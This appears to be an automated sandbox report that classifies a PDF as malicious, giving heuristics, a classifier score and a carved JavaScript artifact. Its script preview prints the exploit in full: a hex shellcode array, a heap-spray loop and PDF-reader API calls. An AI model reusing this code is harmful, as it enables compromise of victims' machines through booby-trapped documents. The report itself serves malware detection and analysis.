MALICIOUS
148
Risk Score
Malware Insights
MITRE ATT&CK
T1059.007 Scripting: JavaScript
The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The PDF_UNESCAPE heuristic suggests the JavaScript is obfuscated, a common technique to evade detection. The extracted artifact 'javascript_obj0005_000.js' is also flagged as suspicious due to script obfuscation indicators. The likely intent is to execute malicious code, potentially exploiting a PDF reader vulnerability or downloading a second-stage payload.
Machine Learning
- Nyx PDF Classifier malicious score 0.9998
Heuristics 4
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
var Wo1 = ["EB","54","8B","75","3C","8B","74","35","78","03","F5","56","8B","76","20","03","F5","33","C9","49","41","AD","33","DB","36","0F","BE","14","28","38","F2","74","08","C1","CB","0D","03","DA","40","EB","EF","3B","DF","75","E7","5E","8B","5E","24","03","DD","66","8B","0C","4B","8B","5E","1C","03","DD","8B","04","8B","03","C5","C3","75","72","6C","6D","6F","6E","2E","64","6C","6C","00","43","3A","5C","55","2E","65","78","65","00","33","C0","64","03","40","30","78","0C","8B","40","0C","8B" … var Wo0=""; for(i=0;i<Wo1.length;){Wo0=Wo0+'%u'+Wo1[i+1]+Wo1[i]; i=i+2;} var Wo = unescape(Wo0); var yR = unescape('%u3727%u27f5'); -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0005_000.js |
pdf-javascript-stream | PDF /JS object 5 at offset 0x156 | 2078 bytes |
SHA-256: c9883edfd9b410f3f593f9ff5aeb7f1830b465c50c45abe194c9ae2db49740fb |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var Wo1 = ["EB","54","8B","75","3C","8B","74","35","78","03","F5","56","8B","76","20","03","F5","33","C9","49","41","AD","33","DB","36","0F","BE","14","28","38","F2","74","08","C1","CB","0D","03","DA","40","EB","EF","3B","DF","75","E7","5E","8B","5E","24","03","DD","66","8B","0C","4B","8B","5E","1C","03","DD","8B","04","8B","03","C5","C3","75","72","6C","6D","6F","6E","2E","64","6C","6C","00","43","3A","5C","55","2E","65","78","65","00","33","C0","64","03","40","30","78","0C","8B","40","0C","8B","70","1C","AD","8B","40","08","EB","09","8B","40","34","8D","40","7C","8B","40","3C","95","BF","8E","4E","0E","EC","E8","84","FF","FF","FF","83","EC","04","83","2C","24","3C","FF","D0","55","50","BF","33","CA","8A","5B","E8","6F","FF","FF","FF","8B","DC","83","C3","10","53","BB","78","56","34","12","81","EB","54","46","34","12","53","FF","D0","BF","38","22","AC","E7","E8","51","FF","FF","FF","8B","DC","83","C3","10","53","6A","21","E8","00","00","00","00","59","83","C1","53","90","51","53","FF","D0","8B","2C","24","BF","36","1A","2F","70","E8","2E","FF","FF","FF","8B","D4","83","C2","10","33","DB","53","53","52","EB","2C","5B","83","C3","03","53","33","DB","53","FF","D0","5D","5D","BF","98","FE","8A","0E","E8","0C","FF","FF","FF","89","24","24","80","04","24","08","FF","D0","BF","7E","D8","E2","73","E8","F9","FE","FF","FF","52","FF","D0","E8","CF","FF","FF","FF","70","66","00","68","3A","5C","77","69","6E","64","6F","77","73","5C","73","79","73","74","65","6D","33","32","5C","63","61","6C","63","2E","65","78","65","00","00"];
var Wo0=""; for(i=0;i<Wo1.length;){Wo0=Wo0+'%u'+Wo1[i+1]+Wo1[i]; i=i+2;} var Wo = unescape(Wo0); var yR = unescape('%u3727%u27f5');
for(i=0;i<15;){yR+=yR;i ++;}
yR=yR.substring(0,32768 - Wo.length);
memory=new Array();
for(i=0;i<0x2000;) {
memory[i]= yR + Wo; i ++;
}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.